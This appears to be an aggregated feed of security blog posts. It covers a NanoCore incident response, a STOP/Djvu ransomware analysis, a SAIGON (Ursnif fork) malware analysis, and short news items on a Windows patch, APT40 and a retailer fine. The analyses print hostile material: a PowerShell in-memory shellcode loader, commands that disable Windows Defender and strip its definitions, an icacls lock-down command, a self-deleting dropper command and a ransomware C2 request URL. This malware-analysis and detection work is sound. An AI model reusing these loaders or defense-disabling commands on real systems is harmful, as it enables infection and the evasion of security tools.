Figure 3: Snippet of the event showing an unknown file attempting to persist on the victim host

Many of the anti-virus engines on VirusTotal detected the binary as the NanoCore Remote Access Trojan (RAT), a well known malware kit sold on underground markets which enables complete control of the infected computer: recording keystrokes, enabling the webcam, stealing files, and much more. Since this malware poses a huge risk and the fact that it was able to achieve persistence without getting blocked by our endpoint security, we prioritized investigating this alert further and initiated an incident. 

Once we identified this infected host using one of our exploratory Autoruns plays, the immediate concern was containing the threat to mitigate as much potential loss as possible. We download a copy of the dropper malware from the infected host and performed additional analysis. Initially we wanted to confirm if other online sandbox services agreed with the findings on VirusTotal. Other services including also detected Nanocore based on a file called run.dat being written to the %APPDATA%\Roaming\{GUID} folder as shown in Figure 3: analysis

Figure 4: analysis showing Nanocore infection

The sandbox report also alerted us to an unusual outbound network connection from RegAsm.exe to over port 8166.

Now that we were confident this was not a false positive, we needed to find the root cause of this infection, to determine if any other users are at risk of being victims of this campaign. To begin answering this question, we pulled the Windows Security Event Logs from the host using our asset management tool to gain a better understanding of what occurred on the host at the time of the incident. Immediately, a suspicious event that was occurring every second  jumped out due to the unusual and unexpected activity of a file named “DHL_Label_Scan _ June 19 2019 at 2.21_06455210_PDF.exe” spawning the Windows Assembly Registration tool RegAsm.exe. 

Process Information:

 New Process ID:  0x4128

 New Process Name: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

 Token Elevation Type: %%1938

 Mandatory Label:  Mandatory Label\Medium Mandatory Level

 Creator Process ID: 0x2ba0

 Creator Process Name: \Device\CdRom0\DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe

 Process Command Line: "C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"

 Figure 5: New process spawned from a ‘CdRom0’ device (the fake .img) calling the Windows Assembly Registration tool

This event stands out for several reasons.

  • The filename:
    1. Attempts to social engineer the user into thinking they are executing a PDF by appending “_PDF”
    2. “DHL_Label_Scan” Shipping services are commonly spoofed by adversaries in emails to spread malware.
  • The file path:
    1. \Device\CdRom0\ is a special directory associated with a CD-ROM that has been inserted into the disk drive.
    2. A fake DHL label is a strange thing to have on a CD-ROM and even stranger to insert it to a work machine and execute that file.
  • The process relationship:
    1. Adversaries abuse the Assembly Registration tool “RegAsm.exe” for bypassing process whitelisting and anti-malware protection.
    2. MITRE tracks this common technique as T1121 indicating, “Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration”
    3. We saw this technique in the sandbox report.
  • The frequency of the event:
    1. The event was occurring every second, indicating some sort of command and control or heartbeat activity.


Mount Up and Drop Out


At this point in the investigation, we have now uncovered a previously unseen suspicious file: “DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe”, which is strangely located in the \Device\CdRom0\ directory, and the original “filename.exe” used to establish persistence.

The first event in this process chain shows explorer.exe spawning the malware from the D: drive.

Process Information:

 New Process ID:  0x2ba0

 New Process Name: \Device\CdRom0\DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe

 Token Elevation Type: %%1938

 Mandatory Label:  Mandatory Label\Medium Mandatory Level

 Creator Process ID: 0x28e8

 Creator Process Name: C:\Windows\explorer.exe

 Process Command Line: "D:\DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe"

Figure 6: Additional processes spawned by the fake PDF


The following event is the same one that originally caught our attention, which shows the malware spawning RegAsm.exe (eventually revealed to be Nanocore) to establish communication with the command and control server:


Process Information:

 New Process ID:  0x4128

 New Process Name: C:\Windows\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe

 Token Elevation Type: %%1938

 Mandatory Label:  Mandatory Label\Medium Mandatory Level

 Creator Process ID: 0x2ba0

 Creator Process Name: \Device\CdRom0\DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe

 Process Command Line: "C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\RegAsm.exe"

Figure 7: RegAsm reaching out to command and control servers


Finally, the malware spawns cmd.exe and deletes the original binary using the built-in choice command: 

Process Information:

 New Process ID:  0x2900

 New Process Name: C:\Windows\SysWOW64\cmd.exe

 Token Elevation Type: %%1938

 Mandatory Label:  Mandatory Label\Medium Mandatory Level

 Creator Process ID: 0x2ba0

 Creator Process Name: \Device\CdRom0\DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe

 Process Command Line: "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "D:\DHL_Label_Scan _  June 19 2019 at 2.21_06455210_PDF.exe"


Figure 8: Evidence of deleting the original dropper.


At this point in the investigation of the original dropper and the subsequent suspicious files, we still could not answer how the malware ended up on this user’s computer in the first place. However with the filename of the original dropper to pivot with, a quick web search for the filename turned up a thread on from a user asking for assistance with the file in question. In this post, they write that they recognize the filename from a malspam email they received. Based on the Symantec thread and other clues, such as the use of the shipping service DHL in the filename, we now know the delivery method is likely via email.

Delivery Method Techniques

We used the following Splunk query to search our Email Security Appliance logs for the beginning of the filename we found executing RegAsm.exe in the Windows Event Logs.

index=esa earliest=-30d

[search index=esa "DHL*.img" earliest=-30d

| where isnotnull(cscoMID)

| fields + cscoMID,host

| format]

| transaction cscoMID,host

| eval wasdelivered=if(like(_raw, "%queued for delivery%"), "yes", "no")

| table esaTo, esaFrom, wasdelivered, esaSubject, esaAttachment, Size, cscoMID, esaICID, esaDCID, host

Figure 9: Splunk query looking for original DHL files.

As expected, the emails all came from the spoofed sender address with some variation of the subject “Re: DHL Notification / DHL_AWB_0011179303/ ETD”. In total, CSIRT identified a total of 459 emails from this campaign sent to our users. Of those 459 emails, 396 were successfully delivered and contained 18 different Nanocore samples.

396 malicious emails making it past our well-tuned and automated email mitigation tools is no easy feat. While the lure the attacker used to social engineer their victims was common and unsophisticated, the technique they employed to evade defenses was successful – for a time.

Detecting the Techniques

During the lessons learned phase after this campaign, CSIRT developed numerous incident response detection rules to alert on newly observed techniques discovered while analyzing this incident. The first and most obvious being, detecting malicious disk image files successfully delivered to a user’s inbox. The false-positive rate for this specific type of attack is low in our environment, with a few exceptions here and there – easily tuned out based on the sender. This play could be tuned to look only for disk image files with a small file size if they are more prevalent in your environment.

Another valuable detection rule we developed after this incident is monitoring for suspicious usage (network connections) of the registry assembly executable on our endpoints, which is ultimately the process Nanocore injected itself into and was using to facilitate C2 communication. Also, it is pretty unlikely to ever see legitimate use of the choice command to create a self-destructing binary of sorts, so monitoring for execution of choice with the command-line arguments we saw in the Windows Event above should be a high fidelity alert.

Some additional, universal takeaways from this incident:

  1. Auto-mitigation tools should not be treated as a silver bullet – Effective security monitoring, rapid incident response, and defense in depth/layers is more important.
  2. Obvious solutions such as blocking extensions at email gateway are not always realistic in large, multifunction enterprises – .IMG files were legitimately being used by support engineers and could not be blocked.
  3. Malware campaigns can slip right past defenders on occasion, so a wide playbook that focuses on how attackers operate and infiltrate (TTPs) is key for finding new and unknown malware campaigns in large enterprises (as opposed to relying exclusively on indicators of compromise.)


Indicators Of Compromise (IOCS)



















The post Disk Image Deception appeared first on Cisco Blogs.

STOP (Djvu) Ransomware: Ransom For Your Shady Habits!

Estimated reading time: 9 minutes

With almost 200 extensions, STOP (djvu) ransomware can be said to be 2019’s most active and widespread ransomware. Although this ransomware was active a year before, it started its campaign aggressively in early 2019. To evade detection, it has been continuously changing its extensions and payloads. For earlier infections, data recovery was easier if the key was not online CnC generated. Once payload was received, decryption was easier as it used non-symmetric encryption algorithms and for offline systems, it used the same set of keys. There has been a change in its encryption strategy from mid-2019, which made the decryption of infected files difficult. By observing continuous improvement in infection vectors and payloads, one can consider STOP actors to be one of the most active malware authors of 2019.

Here, we will discuss in detail about its behavior and updated file encryption technique. We will also go through its parallel activities of downloading other malware and their behavior. The statistics would elaborate its prominence in the last few months.

Infection Vectors:

According to our telemetry, this ransomware is seen spreading through cracked applications, keygens, activators, fake application setup and fake windows updates. While taking a look at the infection vectors and the ransom demanded, we can say that these actors believed in quantity instead of quality like Ryuk did. According to our observations, cracked files or fake activators for different software like Tally, Autocad, Adobe Photoshop, Internet Download Manager, Microsoft Office, Opera browser, VMware Workstation, Quick Heal Total Security, etc. were seen spreading this ransomware.

Payload Behaviour:

Fig. 1: ProcessMap

The main payload of STOP (djvu) has lots of anti-emulation and anti-debugging techniques implemented by its common wrapper, which is believed to be used for most of the payloads. Few of the ransomware are seen avoiding encryption for a particular set of countries, depending on the region of their origin and strength of victims to pay the ransom. For that, we have observed the use of keyboard layouts to identify the country of the victim system. Here, STOP authors did not rely on legacy techniques as there might be a chance of error. The payload checks for the location of the system by visiting “https[:]//” where in response we get information about the location and timezone of the system.

In response to this request, details of location including longitude, latitude, timezone along with country and city are received.

Fig. 2: IP Response

The retrieved country code is compared with a few other country codes. If it matches with any of the listed country codes, the payload does not execute further. The image below shows the country code comparison before encryption.

Fig. 3: Country Code Comparison

Once it confirms that the victim is not from one of the enlisted countries, it creates a folder with UUID or GUID used as its name at directory “%AppData%\Local\”. After that, payload creates self-copy at this location and access controls of this file are changed using ‘icals’ by the following command:

“icacls \”%AppData%\\Local\\{UuId}\” /deny *S-1-1-0:(OI)(CI)(DE,DC)”

Where OI: Object Inherit, CI: Container Inherit, DE: Delete, DC: Delete Child

Again after this, payload runs itself from its original location by elevating access rights as admin using

<Directory Path>\ewrewexcf.exe –Admin IsNotAutoStart IsNotTask 

Further, it terminates the parent process. Parameters confirm that the process is neither initiated by autostart programs nor it is a scheduled task and is running as admin. This newly executed process creates a task scheduler entry using TaskSchedulerCOM at:

C:\Windows\System32\Tasks\Time Trigger Task

Fig. 4: Time Trigger Task

Then it retrieves the MAC address of the system using GetAdaptersInfo(). An MD5 hash of this MAC address is then calculated using Windows Crypto APIs and is then used to uniquely identify the system. A request is sent to malicious CnC using this MD5 hash, which gets RSA-2048 public key and system encryption identifier i.e. personal ID as a response.

Request format:

http://ring2[.]ug/As73yhsyU34578hxxx/SDf565g/get.php?pid={Mac Address_MD5}&first=true

This response is stored in %AppData%\Local\bowsakkdestx.txt. This key is further used in file encryption, which we will discuss later. Also, the ID received along with the public key is stored in C:\SystemID\PersonalID.txt for future reference.

While receiving personal ID and public key, the ransomware payload also downloads a couple of other malware from the CnC server. It consists of infamous info-stealer i.e. Vidar and a trojan payload which is similar to previously seen Vilsel.

Fig. 5: File Download Requests

In Fig.5, ‘5.exe’ was downloaded and it is one of the Vidar payloads, while ‘updatewin1.exe’ was Vilsel. The lateral activity of these components will be discussed later.

For persistence, along with time trigger task, it also creates one RUN registry entry:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run “SysHelper” = “%AppData%\Local\{UuId}\34efcdsax.exe” –AutoStart

It drops ransom note to the directories it has enumerated. Before start of encryption process, a mutex {1D6FC66E – D1F3 – 422C – 8A53 – C0BBCF3D900D} is created. This mutex is common throughout STOP-Djvu campaign.

It particularly checks for the presence of file I:\5d2860c89d774.jpg and if present, it encrypts this file.

File Encryption:

File encryption involves 2 types:

  • Encryption with Online Key
  • Encryption with Offline Key

In the first scenario, payload tries to establish a connection with CnC by sending a request for server-generated public key and ID using the associated MD5 hash of the system’s MAC address. The response is saved in bowsakkdestx.txt. For encryption, this key is used in the future.

In the latter type of encryption, if STOP ransomware is not able to get a response from the CnC, it checks for the existence of bowsakkdestx.txt at ‘%AppData%/Local’ directory. If the file found, it checks for the ‘Public Key’ keyword in the file. If the file does not contain a public key, payload deletes the file and again checks for the CnC response. On the other hand, if the file is not present then it uses public key and ID which are already present in the file. Most of the strings in the payload are present in encrypted form i.e. XORed with byte key 0x80. The recent payloads of stop have an offline ID which is appended by its extension name and “t1”.

ex: Z4aT0c1B4eHWZwaTg43eRzyM1gl3ZaaNVHrecot1

Few file types and directories are skipped from the encryption process based on path and file extensions.

Extensions excluded:

.sys .ini .dll .blf .bat .lnk .regtrans-ms

Along with above extensions, the extension used by payload to indicate encryption is also avoided.

Files Excluded:

ntuser.dat  ntuser.dat.LOG1  ntuser.dat.LOG2  ntuser.pol  _readme.txt

Folders in Windows directory and browser folders in the Program Files directory are excluded from encryption.

Before encryption, it also checks for file encryption marker i.e. “{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}” which is at the end of the file followed by encryption ID.

While encrypting a file, it keeps the first 5 bytes of the file as it is. The rest of the file data is encrypted with the Salsa20 algorithm. For the file data encryption, UUID is created and is used as a key for the Salsa20 algorithm. In this way, each file uses a new UUID and the unique key is used for encryption of each file. Given below is an example of one Salsa20 key.

Fig. 6: Salsa20 Key

After encryption of file data, the UUID used as Salsa20 key is also encrypted with the RSA-2048 public key which was received from the CnC server. In the case of offline encryption, this key is retrieved from the payload itself. The encrypted UUID is appended after encrypted file data. The personal ID which was again received from the server with RSA-2048 public key is appended to encrypted UUID. If files are encrypted offline, then this personal ID is also retrieved from file and is common for all offline infected victims. At the end of the file, encryption marker ‘{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}’ is written.

Fig. 7: File Encryption Structure


Lateral Activity:

     1. Vidar (5.exe)

Vidar is a known info-stealer trojan, which collects sensitive information from your system and then delivers it to its CnC. The information it may steal includes:

  • Browser Login Data, History, Cookies
  • Browser Cache
  • System Information
  • Messaging/Email software data
  • Two-factor authentication software data

It checks for the presence of various browsers and software including two-factor authentication tools.

Fig. 8: Vidar File Access

It stores stolen data in a randomly named folder in the ProgramData directory. In this directory, few ‘.zip’ files are created which contain files like information.txt which has details of user and machine, running processes and software installed in the system. The retrieved passwords/credentials from browsers and other software are stored in passwords.txt. The rest of the information is stored in directories/files with respective software names.

Fig. 9: Vidar File Write

There is one file additional named ID which contains data in the form of SQL database having tables like logins, meta, stats, sync_entities_metadata and sync_model_metadata. These tables mainly have browser-related data of the user. All of these data are then sent to CnC of Vidar which is hxxp://crarepo[.]com/ in this case. Changes in the CnC servers are observed over the period.

Fig. 10: Vidar HttpSendRequestA

     2. Updatewin1.exe:

This component is mainly used to hide ransomware’s existence or evade detection based on the behavior of malware. It shows similarity with the Vilsel Trojan family.

First of all, it executes itself with elevated privileges. This process with elevated privileges executes PowerShell with the following command line, to change execution policy from default restricted to RemoteSigned, which results in the execution of local policies without any digital signature.

powershell -Command Set-ExecutionPolicy -Scope CurrentUser RemoteSigned

Fig. 11: Updatewin RegSetValue

The updatewin1.exe then drops script.ps1 having command ‘Set-MpPreference -DisableRealtimeMonitoring $true’ at %temp% location. A new PowerShell instance is initiated with parameters:

 -NoProfile -ExecutionPolicy Bypass -Command “& {Start-Process PowerShell -ArgumentList ‘-NoProfile -ExecutionPolicy Bypass -File %AppData%\Local\script.ps1″”‘ -Verb RunAs.

This runs PowerShell with admin privileges and bypasses all execution policies for the current instance of PowerShell. This executes script.ps1 resulting in disabling of Windows Realtime Protection. It also removes downloaded updates/signatures of windows defender using the command:

mpcmdrun.exe -removedefinitions -all

The task manager is also disabled by changing the registry and then updatewin1.exe deletes itself using a batch file.

     3. Updatewin.exe:

This component has no suspicious or malicious activity. It just displays windows update prompt so that any of the suspicious activities will be considered as windows update changes. There is no minimize or close option to this window, one has to kill the process to get rid of it.

Fig. 12: Fake Update Window


Ransom note:

Fig. 13: _readme.txt Ransom note

Over the campaign, the STOP ransom note has remained the same with few small changes. It asks for $980 of ransom and gives a 50% discount if payment is done within 3 days. The conversation with victims is carried over the mail. Ransom note contains the Personal Id of the user which is also stored in C:\SystemID\PersonalID.txt.


Fig. 14: Statistics

From the introduction of the new RSA 2048 variant, we have seen a noticeable increase in infections. As the chart above states, there was a gradual increase from August till November with hits crossing 120,000 mark. However, there’s been a decrease in hits in December, which seems to have continued in the month of January.


From the start of the STOP-djvu campaign, stop authors have focused on changing payloads and extensions within short intervals, making their presence among ransomware strong and sound. Initially, authors believed in symmetric cryptography, hoping for ransom from most of the cases with newer payloads and unique keys for each variant. The free decryptors for offline infections forced them to shift to asymmetric cryptography, which made the decryption of new infections harder. Also, propagating through multiple crack software, activators, keygen software and fake software/OS upgrades, has been an effective way of spreading for this ransomware.



















The post STOP (Djvu) Ransomware: Ransom For Your Shady Habits! appeared first on Seqrite Blog.

Microsoft rolls out Windows 10 security fix after NSA warning

US agency revealed flaw that could be exploited by hackers to create malicious software

Microsoft is rolling out a security fix to Windows 10 after the US National Security Agency (NSA) warned the popular operating system contained a highly dangerous flaw that could be used by hackers. Reporting the vulnerability represents a departure for the NSA from its past strategy of keeping security flaws under wraps to exploit for its own intelligence needs.

The NSA revealed during a press conference on Tuesday that the “serious vulnerability” could be used to create malicious software that appeared to be legitimate. The flaw “makes trust vulnerable”, the NSA director of cybersecurity, Anne Neuberger, said in a briefing call to media on Tuesday.

Related: Skype audio graded by workers in China with 'no security measures'

Continue reading...

China-linked APT40 group hides behind 13 front companies

A group of anonymous security researchers that calls itself Intrusion Truth have tracked the activity of a China-linked cyberespionage group dubbed APT40.

A group of anonymous security researchers that calls itself Intrusion Truth has discovered that a China-linked cyberespionage group, tracked as APT40, uses 13 front companies operating in the island of Hainan to recruit hackers.

The Intrusion Truth group has doxed the fourth Chinese state-sponsored hacking operation.

“We know that multiple areas of China each have their own APT.” reads the report.

“After a long investigation we now know that it is possible to take a province and identify front companies, from those companies identify individuals who work there, and then connect these companies and individuals to an APT and the State.”

The Intrusion Truth group has already other APT groups operating in other provinces of the country, including APT3 (from the Guangdong province), APT10 (from Tianjin province), and APT17 (Jinan province). The last group tracked by the researcher is now operating out of the Hainan province, an island in the South China Sea.

Intrusion Truth did not associate the group from Hainan with a specific Chinese APT group, but FireEye and Kaspersky researchers believe that the China-linked group is the APT40 (aka TEMP.PeriscopeTEMP.Jumper, and Leviathan).

The cyber-espionage group tracked as APT40 (aka TEMP.PeriscopeTEMP.Jumper, and Leviathan), apparently linked to the Chinese government, is focused on targeting countries important to the country’s Belt and Road Initiative (i.e. Cambodia, Belgium, Germany, Hong Kong, Philippines, Malaysia, Norway, Saudi Arabia, Switzerland, the United States, and the United Kingdom).


Experts believe that APT40 is a state-sponsored Chinese APT group due to its alignment with Chinese state interests and technical artifacts suggesting the actor is based in China.

The APT40 group has been active since at least 2013 and appears to be focused on supporting naval modernization efforts of the Government of Beijing. Threat actors target engineering, transportation, and defense sectors, experts observed a specific interest in maritime technologies.

The cyberspies also targeted research centres and universities involved in naval research with the intent to access advanced technology to push the growth of the Chinese naval industry.

The list of victims of the APT40 group also includes organizations with operations in Southeast Asia or involved in South China Sea disputes.

The 13 companies identified by the Intrusion Truth have similar characteristics, like the lack of an online presence, and experts noticed overlapping of contact details and share office locations. The companies were all involved in the recruiting of hackers with offensive security skills.

“Looking beyond the linked contact details though, some of the skills that these adverts are seeking are on the aggressive end of the spectrum,” reads the post published by Intrusion Truth.

“While the companies stress that they are committed to information security and cyber-defence, the technical job adverts that they have placed seek skills that would more likely be suitable for red teaming and conducting cyber-attacks,” they go on to say.

According to the experts, a professor in the Information Security Department at the Hainan University was tasked with recruiting for the 13 companies.

One of the above companies was headquartered in the University’s library, and the professor was also a former member of China’s military.

“Following further analysis, we noticed a close association between these Hainan front companies and the academic world. Multiple job adverts for the companies are posted on university websites. Hainan Xiandun even appears to operate from the Hainan University Library!” continues the post. “Gu Jian, a Professor in the Information Security Department and former member of the PLA is now the contact person for an APT front company which itself is linked to twelve other front companies.”

Technical details of the analysis are included in the report published by the experts.

Pierluigi Paganini

(SecurityAffairs – Intrusion Truth, APT40)

The post China-linked APT40 group hides behind 13 front companies appeared first on Security Affairs.

Threat Roundup for January 3 to January 10

Today, Talos is publishing a glimpse into the most prevalent threats we’ve observed between Jan 3 and Jan 10. As with previous roundups, this post isn’t meant to be an in-depth analysis. Instead, this post will summarize the threats we’ve observed by highlighting key behavioral characteristics, indicators of compromise, and discussing how our customers are automatically protected from these threats.

As a reminder, the information provided for the following threats in this post is non-exhaustive and current as of the date of publication. Additionally, please keep in mind that IOC searching is only one part of threat hunting. Spotting a single IOC does not necessarily indicate maliciousness. Detection and coverage for the following threats is subject to updates, pending additional threat or vulnerability analysis. For the most current information, please refer to your Firepower Management Center,, or

Read More


TRU01102020 – This is a JSON file that includes the IOCs referenced in this post, as well as all hashes associated with the cluster. The list is limited to 25 hashes in this blog post. As always, please remember that all IOCs contained in this document are indicators, and that one single IOC does not indicate maliciousness. See the Read More link above for more details.

The post Threat Roundup for January 3 to January 10 appeared first on Cisco Blogs.

DSG Retail Limited Fined £500K by ICO Following Malware Attack

The UK Information Commissioner’s Office (ICO) fined DSG Retail Limited £500,000 following a malware attack that affected millions of the retailer’s customers. As the result of an investigation, the ICO learned that the DSG Retail Limited had suffered a security incident in which an attacker installed malware on 5,390 tills at Currys PC World and […]… Read More

The post DSG Retail Limited Fined £500K by ICO Following Malware Attack appeared first on The State of Security.

SAIGON, the Mysterious Ursnif Fork

Ursnif (aka Gozi/Gozi-ISFB) is one of the oldest banking malware families still in active distribution. While the first major version of Ursnif was identified in 2006, several subsequent versions have been released in large part due source code leaks. FireEye reported on a previously unidentified variant of the Ursnif malware family to our threat intelligence subscribers in September 2019 after identification of a server that hosted a collection of tools, which included multiple point-of-sale malware families. This malware self-identified as "SaiGon version 3.50 rev 132," and our analysis suggests it is likely based on the source code of the v3 (RM3) variant of Ursnif. Notably, rather than being a full-fledged banking malware, SAIGON's capabilities suggest it is a more generic backdoor, perhaps tailored for use in targeted cybercrime operations.

Technical Analysis


SAIGON appears on an infected computer as a Base64-encoded shellcode blob stored in a registry key, which is launched using PowerShell via a scheduled task. As with other Ursnif variants, the main component of the malware is a DLL file. This DLL has a single exported function, DllRegisterServer, which is an unused empty function. All the relevant functionality of the malware executes when the DLL is loaded and initialized via its entry point.

Upon initial execution, the malware generates a machine ID using the creation timestamp of either %SystemDrive%\pagefile.sys or %SystemDrive%\hiberfil.sys (whichever is identified first). Interestingly, the system drive is queried in a somewhat uncommon way, directly from the KUSER_SHARED_DATA structure (via SharedUserData→NtSystemRoot). KUSER_SHARED_DATA is a structure located in a special part of kernel memory that is mapped into the memory space of all user-mode processes (thus shared), and always located at a fixed memory address (0x7ffe0000, pointed to by the SharedUserData symbol).

The code then looks for the current shell process by using a call to GetWindowThreadProcessId(GetShellWindow(), …). The code also features a special check; if the checksum calculated from the name of the shell's parent process matches the checksum of explorer.exe (0xc3c07cf0), it will attempt to inject into the parent process instead.

SAIGON then injects into this process using the classic VirtualAllocEx / WriteProcessMemory / CreateRemoteThread combination of functions. Once this process is injected, it loads two embedded files from within its binary:

  • A PUBLIC.KEY file, which is used to verify and decrypt other embedded files and data coming from the malware's command and control (C2) server
  • A RUN.PS1 file, which is a PowerShell loader script template that contains a "@SOURCE@" placeholder within the script:

$hanksefksgu = [System.Convert]::FromBase64String("@SOURCE@");
Invoke-Expression ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("JHdneG1qZ2J4dGo9JGh

The malware replaces the "@SOURCE@" placeholder from this PowerShell script template with a Base64-encoded version of itself, and writes the PowerShell script to a registry value named "PsRun" under the "HKEY_CURRENT_USER\Identities\{<random_guid>}" registry key (Figure 1).

Figure 1: PowerShell script written to PsRun

The instance of SAIGON then creates a new scheduled task (Figure 2) with the name "Power<random_word>" (e.g. PowerSgs). If this is unsuccessful for any reason, it falls back to using the "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" registry key to enable itself to maintain persistence through system reboot.

Figure 2: Scheduled task

Regardless of the persistence mechanism used, the command that executes the binary from the registry is similar to the following:


After removing the Base64 encoding from this command, it looks something like "iex (gp 'HKCU:\\Identities\\{43B95E5B-D218-0AB8-5D7F-2C789C59B1DF}').PsRun."  When executed, this command retrieves the contents of the previous registry value using Get-ItemProperty (gp) and executes it using Invoke-Expression (iex).

Finally, the PowerShell code in the registry allocates a block of memory, copies the Base64-decoded shellcode blob into it, launches a new thread pointing to the area using CreateRemoteThread, and waits for the thread to complete. The following script is a deobfuscated and beautified version of the PowerShell.

$hanksefksgu = [System.Convert]::FromBase64String("@SOURCE@");
$wgxmjgbxtj = $hanksefksgu.Length;

$tskvo = @"
public static extern Int32 GetCurrentProcess();

public static extern IntPtr GetDC(IntPtr mxxahxof);

public static extern IntPtr CreateRemoteThread(IntPtr hcwylrbs, IntPtr wqer, uint sfj, IntPtr wllev, IntPtr wwdrictwdk, uint klmhnsk, IntPtr vcexsualwhh);

public static extern UInt32 WaitForSingleObject(IntPtr aj, UInt32 kdxsxev);

public static extern IntPtr VirtualAlloc(IntPtr xy, uint knbt, uint tmrywhu, uint wgutud);

$tskaaxotxe = Add-Type -memberDefinition $tskvo -Name 'Win32' -namespace Win32Functions -passthru;
$mhxkpull = $tskaaxotxe::VirtualAlloc(0, $wgxmjgbxtj, 0x3000, 0x40);[System.Runtime.InteropServices.Marshal]::Copy($hanksefksgu, 0, $mhxkpull, $wgxmjgbxtj);
$tdocnnwkvoq = $tskaaxotxe::CreateRemoteThread(-1, 0, 0, $mhxkpull, $mhxkpull, 0, 0);
$ocxxjmhiym = $tskaaxotxe::WaitForSingleObject($tdocnnwkvoq, 30000);

Once it has established a foothold on the machine, SAIGON loads and parses its embedded LOADER.INI configuration (see the Configuration section for details) and starts its main worker thread, which continuously polls the C2 server for commands.


The Ursnif source code incorporated a concept referred to as "joined data," which is a set of compressed/encrypted files bundled with the executable file. Early variants relied on a special structure after the PE header and marked with specific magic bytes ("JF," "FJ," "J1," "JJ," depending on the Ursnif version). In Ursnif v3 (Figure 3), this data is no longer simply after the PE header but pointed to by the Security Directory in the PE header, and the magic bytes have also been changed to "WD" (0x4457).

Figure 3: Ursnif v3 joined data

This structure defines the various properties (offset, size, and type) of the bundled files. This is the same exact method used by SAIGON for storing its three embedded files:

  • PUBLIC.KEY - RSA public key
  • RUN.PS1 - PowerShell script template
  • LOADER.INI - Malware configuration

The following is a list of configuration options observed:

Name Checksum





List of C2 URLs used for communication



Serpent key used for communicating with the C2



Botnet ID



Number of seconds to wait before the initial request to the C2



Waits until the uptime is greater than this value (in seconds)



Number of seconds to wait between subsequent requests to the C2



The number of minutes to wait before switching to the next C2 server in case of failures

Table 1: Configuration options


While the network communication structure of SAIGON is very similar to Ursnif v3, there are some subtle differences. SAIGON beacons are sent to the C2 servers as multipart/form-data encoded requests via HTTP POST to the "/index.html" URL path. The payload to be sent is first encrypted using Serpent encryption (in ECB mode vs CBC mode), then Base64-encoded. Responses from the server are encrypted with the same Serpent key and signed with the server's RSA private key.

SAIGON uses the following User-Agent header in its HTTP requests: "Mozilla/5.0 (Windows NT <os_version>; rv:58.0) Gecko/20100101 Firefox/58.0," where <os_version> consists of the operating system's major and minor version number (e.g. 10.0 on Windows 10, and 6.1 on Windows 7) and the string "; Win64; x64" is appended when the operating system is 64-bit. This yields the following example User Agent strings:

  • "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0" on Windows 10 64-bit
  • "Mozilla/5.0 (Windows NT 6.1; rv:58.0) Gecko/20100101 Firefox/58.0" on Windows 7 32-bit

The request format is also somewhat similar to the one used by other Ursnif variants described in Table 2:





Bot version (unlike other Ursnif variants this only contains the build number, so only the xxx digits from "")


Botnet ID


Client ID


Request type (0 – when polling for tasks, 6 – for system info data uploads)


Machine uptime in seconds


The bot "knock" period (number of seconds to wait between subsequent requests to the C2, see the LoadPeriod configuration option)

Table 2: Request format components


SAIGON implements the bot commands described in Table 3.

Name Checksum





Uninstalls itself from the machine; removes scheduled task and deletes its registry key



Download data from URL, decrypt and verify signature, save it as a .ps1 file and run it using "PowerShell.exe -ep unrestricted -file %s"



Collects and uploads system information by running:

  1. "systeminfo.exe"
  2. "net view"
  3. "nslookup"
  4. "tasklist.exe /SVC"
  5. "driverquery.exe"
  6. "reg.exe query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" /s"



Download data from URL, decrypt and verify, then use the same shellcode loader that was used to load itself into memory to load the DLL into the current process



Download data from URL, decrypt and verify, save with an .exe extension, invoke using ShellExecute

Table 3: SAIGON bot commands

Comparison to Ursnif v3

Table 4 shows the similarities between Ursnif v3 and the analyzed SAIGON samples (differences are highlighted in bold):


Ursnif v3 (RM3)

Saigon (Ursnif v3.5?)

Persistence method

Scheduled task that executes code stored in a registry key using PowerShell

Scheduled task that executes code stored in a registry key using PowerShell

Configuration storage

Security PE directory points to embedded binary data starting with 'WD' magic bytes (aka. Ursnif "joined files")

Security PE directory points to embedded binary data starting with 'WD' magic bytes (aka. Ursnif "joined files")

PRNG algorithm



Checksum algorithm

JAMCRC (aka. CRC32 with all the bits flipped)

CRC32, with the result rotated to the right by 1 bit

Data compression




Serpent CBC

Serpent ECB

Data integrity verification

RSA signature

RSA signature

Communication method

HTTP POST requests

HTTP POST requests

Payload encoding

Unpadded Base64 ('+' and '/' are replaced with '_2B' and '_2F' respectively), random slashes are added

Unpadded Base64 ('+' and '/' are replaced with '%2B' and '%2F' respectively), no random slashes

Uses URL path mimicking?



Uses PX file format?



Table 4: Similarities and differences between Ursnif v3 and SAIGON samples

Figure 4 shows Ursnif v3's use of URL path mimicking. This tactic has not been seen in other Ursnif variants, including SAIGON.

Figure 4: Ursnif v3 mimicking (red) previously seen benign browser traffic (green) not seen in SAIGON samples 


It is currently unclear whether SAIGON is representative of a broader evolution in the Ursnif malware ecosystem. The low number of SAIGON samples identified thus far—all of which have compilations timestamps in 2018—may suggest that SAIGON was a temporary branch of Ursnif v3 adapted for use in a small number of operations. Notably, SAIGON’s capabilities also distinguish it from typical banking malware and may be more suited toward supporting targeted intrusion operations. This is further supported via our prior identification of SAIGON on a server that hosted tools used in point-of-sale intrusion operations as well as VISA’s recent notification of the malware appearing on a compromised hospitality organization’s network along with tools previously used by FIN8.


The authors would like to thank Kimberly Goody, Jeremy Kennelly and James Wyke for their support on this blog post.

Appendix A: Samples

The following is a list of samples including their embedded configuration:

